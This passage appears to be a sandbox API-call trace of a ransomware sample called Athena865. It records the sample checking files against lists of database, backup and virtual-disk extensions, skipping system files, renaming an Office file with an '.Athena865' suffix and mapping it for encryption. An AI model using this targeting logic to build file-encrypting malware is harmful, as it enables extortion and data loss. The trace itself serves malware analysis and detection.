(lpString="sqlite") returned 6 [0074.423] lstrcmpiW (lpString1="UP.DAT", lpString2="sqlite") returned 1 [0074.423] lstrlenW (lpString="sqlite3") returned 7 [0074.424] lstrcmpiW (lpString1="KUP.DAT", lpString2="sqlite3") returned -1 [0074.424] lstrlenW (lpString="sqlitedb") returned 8 [0074.424] lstrcmpiW (lpString1="OKUP.DAT", lpString2="sqlitedb") returned -1 [0074.424] lstrlenW (lpString="xml") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1 [0074.424] lstrlenW (lpString="$er") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1 [0074.424] lstrlenW (lpString="4dd") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1 [0074.424] lstrlenW (lpString="4dl") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1 [0074.424] lstrlenW (lpString="^^^") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1 [0074.424] lstrlenW (lpString="abs") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1 [0074.424] lstrlenW (lpString="abx") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1 [0074.424] lstrlenW (lpString="accdb") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accdb") returned 1 [0074.424] lstrlenW (lpString="accdc") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accdc") returned 1 [0074.424] lstrlenW (lpString="accde") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accde") returned 1 [0074.424] lstrlenW (lpString="accdr") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accdr") returned 1 [0074.424] lstrlenW (lpString="accdt") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accdt") returned 1 [0074.424] lstrlenW (lpString="accdw") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accdw") returned 1 [0074.424] lstrlenW (lpString="accft") returned 5 [0074.424] lstrcmpiW (lpString1="P.DAT", lpString2="accft") returned 1 [0074.424] lstrlenW (lpString="adb") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0074.424] lstrlenW (lpString="adb") returned 3 [0074.424] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0074.425] lstrlenW (lpString="ade") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1 [0074.425] lstrlenW (lpString="adf") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1 [0074.425] lstrlenW (lpString="adn") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1 [0074.425] lstrlenW (lpString="adp") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1 [0074.425] lstrlenW (lpString="alf") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1 [0074.425] lstrlenW (lpString="ask") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1 [0074.425] lstrlenW (lpString="btr") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1 [0074.425] lstrlenW (lpString="cat") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1 [0074.425] lstrlenW (lpString="cdb") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1 [0074.425] lstrlenW (lpString="ckp") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1 [0074.425] lstrlenW (lpString="cma") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1 [0074.425] lstrlenW (lpString="cpd") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1 [0074.425] lstrlenW (lpString="dacpac") returned 6 [0074.425] lstrcmpiW (lpString1="UP.DAT", lpString2="dacpac") returned 1 [0074.425] lstrlenW (lpString="dad") returned 3 [0074.425] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1 [0074.425] lstrlenW (lpString="dadiagrams") returned 10 [0074.425] lstrlenW (lpString="daschema") returned 8 [0074.425] lstrcmpiW (lpString1="OKUP.DAT", lpString2="daschema") returned 1 [0074.425] lstrlenW (lpString="db-journal") returned 10 [0074.425] lstrlenW (lpString="db-shm") returned 6 [0074.425] lstrcmpiW (lpString1="UP.DAT", lpString2="db-shm") returned 1 [0074.426] lstrlenW (lpString="db-wal") returned 6 [0074.426] lstrcmpiW (lpString1="UP.DAT", lpString2="db-wal") returned 1 [0074.426] lstrlenW (lpString="dbc") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1 [0074.426] lstrlenW (lpString="dbs") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1 [0074.426] lstrlenW (lpString="dbt") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1 [0074.426] lstrlenW (lpString="dbv") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1 [0074.426] lstrlenW (lpString="dbx") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1 [0074.426] lstrlenW (lpString="dcb") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1 [0074.426] lstrlenW (lpString="dct") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dct") returned -1 [0074.426] lstrlenW (lpString="dcx") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dcx") returned -1 [0074.426] lstrlenW (lpString="ddl") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="ddl") returned -1 [0074.426] lstrlenW (lpString="dlis") returned 4 [0074.426] lstrcmpiW (lpString1=".DAT", lpString2="dlis") returned -1 [0074.426] lstrlenW (lpString="dp1") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dp1") returned -1 [0074.426] lstrlenW (lpString="dqy") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dqy") returned -1 [0074.426] lstrlenW (lpString="dsk") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dsk") returned -1 [0074.426] lstrlenW (lpString="dsn") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dsn") returned -1 [0074.426] lstrlenW (lpString="dtsx") returned 4 [0074.426] lstrcmpiW (lpString1=".DAT", lpString2="dtsx") returned -1 [0074.426] lstrlenW (lpString="dxl") returned 3 [0074.426] lstrcmpiW (lpString1="DAT", lpString2="dxl") returned -1 [0074.426] lstrlenW (lpString="eco") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="eco") returned -1 [0074.427] lstrlenW (lpString="ecx") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="ecx") returned -1 [0074.427] lstrlenW (lpString="edb") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="edb") returned -1 [0074.427] lstrlenW (lpString="epim") returned 4 [0074.427] lstrcmpiW (lpString1=".DAT", lpString2="epim") returned -1 [0074.427] lstrlenW (lpString="fcd") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fcd") returned -1 [0074.427] lstrlenW (lpString="fdb") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fdb") returned -1 [0074.427] lstrlenW (lpString="fic") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fic") returned -1 [0074.427] lstrlenW (lpString="flexolibrary") returned 12 [0074.427] lstrlenW (lpString="fm5") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fm5") returned -1 [0074.427] lstrlenW (lpString="fmp") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fmp") returned -1 [0074.427] lstrlenW (lpString="fmp12") returned 5 [0074.427] lstrcmpiW (lpString1="P.DAT", lpString2="fmp12") returned 1 [0074.427] lstrlenW (lpString="fmpsl") returned 5 [0074.427] lstrcmpiW (lpString1="P.DAT", lpString2="fmpsl") returned 1 [0074.427] lstrlenW (lpString="fol") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fol") returned -1 [0074.427] lstrlenW (lpString="fp3") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fp3") returned -1 [0074.427] lstrlenW (lpString="fp4") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fp4") returned -1 [0074.427] lstrlenW (lpString="fp5") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fp5") returned -1 [0074.427] lstrlenW (lpString="fp7") returned 3 [0074.427] lstrcmpiW (lpString1="DAT", lpString2="fp7") returned -1 [0074.427] lstrlenW (lpString="fpt") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="fpt") returned -1 [0074.428] lstrlenW (lpString="frm") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="frm") returned -1 [0074.428] lstrlenW (lpString="gdb") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0074.428] lstrlenW (lpString="gdb") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0074.428] lstrlenW (lpString="grdb") returned 4 [0074.428] lstrcmpiW (lpString1=".DAT", lpString2="grdb") returned -1 [0074.428] lstrlenW (lpString="gwi") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="gwi") returned -1 [0074.428] lstrlenW (lpString="hdb") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="hdb") returned -1 [0074.428] lstrlenW (lpString="his") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="his") returned -1 [0074.428] lstrlenW (lpString="ib") returned 2 [0074.428] lstrcmpiW (lpString1="AT", lpString2="ib") returned -1 [0074.428] lstrlenW (lpString="idb") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="idb") returned -1 [0074.428] lstrlenW (lpString="ihx") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="ihx") returned -1 [0074.428] lstrlenW (lpString="itdb") returned 4 [0074.428] lstrcmpiW (lpString1=".DAT", lpString2="itdb") returned -1 [0074.428] lstrlenW (lpString="itw") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="itw") returned -1 [0074.428] lstrlenW (lpString="jet") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="jet") returned -1 [0074.428] lstrlenW (lpString="jtx") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="jtx") returned -1 [0074.428] lstrlenW (lpString="kdb") returned 3 [0074.428] lstrcmpiW (lpString1="DAT", lpString2="kdb") returned -1 [0074.428] lstrlenW (lpString="kexi") returned 4 [0074.428] lstrcmpiW (lpString1=".DAT", lpString2="kexi") returned -1 [0074.429] lstrlenW (lpString="kexic") returned 5 [0074.429] lstrcmpiW (lpString1="P.DAT", lpString2="kexic") returned 1 [0074.429] lstrlenW (lpString="kexis") returned 5 [0074.429] lstrcmpiW (lpString1="P.DAT", lpString2="kexis") returned 1 [0074.429] lstrlenW (lpString="lgc") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="lgc") returned -1 [0074.429] lstrlenW (lpString="lwx") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="lwx") returned -1 [0074.429] lstrlenW (lpString="maf") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="maf") returned -1 [0074.429] lstrlenW (lpString="maq") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="maq") returned -1 [0074.429] lstrlenW (lpString="mar") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mar") returned -1 [0074.429] lstrlenW (lpString="marshal") returned 7 [0074.429] lstrcmpiW (lpString1="KUP.DAT", lpString2="marshal") returned -1 [0074.429] lstrlenW (lpString="mas") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mas") returned -1 [0074.429] lstrlenW (lpString="mav") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mav") returned -1 [0074.429] lstrlenW (lpString="maw") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="maw") returned -1 [0074.429] lstrlenW (lpString="mdbhtml") returned 7 [0074.429] lstrcmpiW (lpString1="KUP.DAT", lpString2="mdbhtml") returned -1 [0074.429] lstrlenW (lpString="mdn") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mdn") returned -1 [0074.429] lstrlenW (lpString="mdt") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mdt") returned -1 [0074.429] lstrlenW (lpString="mfd") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mfd") returned -1 [0074.429] lstrlenW (lpString="mpd") returned 3 [0074.429] lstrcmpiW (lpString1="DAT", lpString2="mpd") returned -1 [0074.430] lstrlenW (lpString="mrg") returned 3 [0074.431] lstrcmpiW (lpString1="DAT", lpString2="mrg") returned -1 [0074.431] lstrlenW (lpString="mud") returned 3 [0074.431] lstrcmpiW (lpString1="DAT", lpString2="mud") returned -1 [0074.431] lstrlenW (lpString="mwb") returned 3 [0074.431] lstrcmpiW (lpString1="DAT", lpString2="mwb") returned -1 [0074.432] lstrlenW (lpString="myd") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="myd") returned -1 [0074.432] lstrlenW (lpString="ndf") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="ndf") returned -1 [0074.432] lstrlenW (lpString="nnt") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="nnt") returned -1 [0074.432] lstrlenW (lpString="nrmlib") returned 6 [0074.432] lstrcmpiW (lpString1="UP.DAT", lpString2="nrmlib") returned 1 [0074.432] lstrlenW (lpString="ns2") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="ns2") returned -1 [0074.432] lstrlenW (lpString="ns3") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="ns3") returned -1 [0074.432] lstrlenW (lpString="ns4") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="ns4") returned -1 [0074.432] lstrlenW (lpString="nsf") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="nsf") returned -1 [0074.432] lstrlenW (lpString="nv") returned 2 [0074.432] lstrcmpiW (lpString1="AT", lpString2="nv") returned -1 [0074.432] lstrlenW (lpString="nv2") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="nv2") returned -1 [0074.432] lstrlenW (lpString="nwdb") returned 4 [0074.432] lstrcmpiW (lpString1=".DAT", lpString2="nwdb") returned -1 [0074.432] lstrlenW (lpString="nyf") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="nyf") returned -1 [0074.432] lstrlenW (lpString="odb") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0074.432] lstrlenW (lpString="odb") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0074.432] lstrlenW (lpString="oqy") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="oqy") returned -1 [0074.432] lstrlenW (lpString="ora") returned 3 [0074.432] lstrcmpiW (lpString1="DAT", lpString2="ora") returned -1 [0074.433] lstrlenW (lpString="orx") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="orx") returned -1 [0074.433] lstrlenW (lpString="owc") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="owc") returned -1 [0074.433] lstrlenW (lpString="p96") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="p96") returned -1 [0074.433] lstrlenW (lpString="p97") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="p97") returned -1 [0074.433] lstrlenW (lpString="pan") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="pan") returned -1 [0074.433] lstrlenW (lpString="pdb") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="pdb") returned -1 [0074.433] lstrlenW (lpString="pdm") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="pdm") returned -1 [0074.433] lstrlenW (lpString="pnz") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="pnz") returned -1 [0074.433] lstrlenW (lpString="qry") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="qry") returned -1 [0074.433] lstrlenW (lpString="qvd") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="qvd") returned -1 [0074.433] lstrlenW (lpString="rbf") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="rbf") returned -1 [0074.433] lstrlenW (lpString="rctd") returned 4 [0074.433] lstrcmpiW (lpString1=".DAT", lpString2="rctd") returned -1 [0074.433] lstrlenW (lpString="rod") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="rod") returned -1 [0074.433] lstrlenW (lpString="rodx") returned 4 [0074.433] lstrcmpiW (lpString1=".DAT", lpString2="rodx") returned -1 [0074.433] lstrlenW (lpString="rpd") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="rpd") returned -1 [0074.433] lstrlenW (lpString="rsd") returned 3 [0074.433] lstrcmpiW (lpString1="DAT", lpString2="rsd") returned -1 [0074.433] lstrlenW (lpString="sas7bdat") returned 8 [0074.433] lstrcmpiW (lpString1="OKUP.DAT", lpString2="sas7bdat") returned -1 [0074.433] lstrlenW (lpString="sbf") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="sbf") returned -1 [0074.434] lstrlenW (lpString="scx") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="scx") returned -1 [0074.434] lstrlenW (lpString="sdb") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="sdb") returned -1 [0074.434] lstrlenW (lpString="sdc") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="sdc") returned -1 [0074.434] lstrlenW (lpString="sdf") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="sdf") returned -1 [0074.434] lstrlenW (lpString="sis") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="sis") returned -1 [0074.434] lstrlenW (lpString="spq") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="spq") returned -1 [0074.434] lstrlenW (lpString="te") returned 2 [0074.434] lstrcmpiW (lpString1="AT", lpString2="te") returned -1 [0074.434] lstrlenW (lpString="teacher") returned 7 [0074.434] lstrcmpiW (lpString1="KUP.DAT", lpString2="teacher") returned -1 [0074.434] lstrlenW (lpString="tmd") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="tmd") returned -1 [0074.434] lstrlenW (lpString="tps") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="tps") returned -1 [0074.434] lstrlenW (lpString="trc") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0074.434] lstrlenW (lpString="trc") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0074.434] lstrlenW (lpString="trm") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="trm") returned -1 [0074.434] lstrlenW (lpString="udb") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="udb") returned -1 [0074.434] lstrlenW (lpString="udl") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="udl") returned -1 [0074.434] lstrlenW (lpString="usr") returned 3 [0074.434] lstrcmpiW (lpString1="DAT", lpString2="usr") returned -1 [0074.434] lstrlenW (lpString="v12") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="v12") returned -1 [0074.435] lstrlenW (lpString="vis") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="vis") returned -1 [0074.435] lstrlenW (lpString="vpd") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="vpd") returned -1 [0074.435] lstrlenW (lpString="vvv") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="vvv") returned -1 [0074.435] lstrlenW (lpString="wdb") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="wdb") returned -1 [0074.435] lstrlenW (lpString="wmdb") returned 4 [0074.435] lstrcmpiW (lpString1=".DAT", lpString2="wmdb") returned -1 [0074.435] lstrlenW (lpString="wrk") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="wrk") returned -1 [0074.435] lstrlenW (lpString="xdb") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="xdb") returned -1 [0074.435] lstrlenW (lpString="xld") returned 3 [0074.435] lstrcmpiW (lpString1="DAT", lpString2="xld") returned -1 [0074.435] lstrlenW (lpString="xmlff") returned 5 [0074.435] lstrcmpiW (lpString1="P.DAT", lpString2="xmlff") returned -1 [0074.435] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.Athena865") returned 63 [0074.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.athena865"), dwFlags=0x1) returned 1 [0074.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.443] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=65536) returned 1 [0074.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.444] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.444] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.444] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x154 [0074.446] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x100000 [0074.454] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.455] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.455] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.455] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.456] CloseHandle (hObject=0x154) returned 1 [0074.456] CloseHandle (hObject=0x17c) returned 1 [0074.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2=".") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="..") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="windows") returned -1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="bootmgr") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="temp") returned -1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="pagefile.sys") returned -1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="boot") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="ids.txt") returned 1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="ntuser.dat") returned -1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="perflogs") returned -1 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2="MSBuild") returned -1 [0074.457] lstrlenW (lpString="MAPIPH.DLL") returned 10 [0074.457] lstrcpyW (in: lpString1=0x241e89e, lpString2="MAPIPH.DLL" | out: lpString1="MAPIPH.DLL") returned="MAPIPH.DLL" [0074.457] lstrlenW (lpString="MAPIPH.DLL") returned 10 [0074.457] lstrlenW (lpString="Athena865") returned 9 [0074.457] lstrcmpiW (lpString1="APIPH.DLL", lpString2="Athena865") returned -1 [0074.457] lstrlenW (lpString=".dll") returned 4 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2=".dll") returned 1 [0074.457] lstrlenW (lpString=".lnk") returned 4 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2=".lnk") returned 1 [0074.457] lstrlenW (lpString=".ini") returned 4 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2=".ini") returned 1 [0074.457] lstrlenW (lpString=".sys") returned 4 [0074.457] lstrcmpiW (lpString1="MAPIPH.DLL", lpString2=".sys") returned 1 [0074.457] lstrlenW (lpString="MAPIPH.DLL") returned 10 [0074.457] lstrlenW (lpString="bak") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0074.458] lstrlenW (lpString="ba_") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0074.458] lstrlenW (lpString="dbb") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0074.458] lstrlenW (lpString="vmdk") returned 4 [0074.458] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0074.458] lstrlenW (lpString="rar") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0074.458] lstrlenW (lpString="zip") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0074.458] lstrlenW (lpString="tgz") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0074.458] lstrlenW (lpString="vbox") returned 4 [0074.458] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0074.458] lstrlenW (lpString="vdi") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0074.458] lstrlenW (lpString="vhd") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0074.458] lstrlenW (lpString="vhdx") returned 4 [0074.458] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0074.458] lstrlenW (lpString="avhd") returned 4 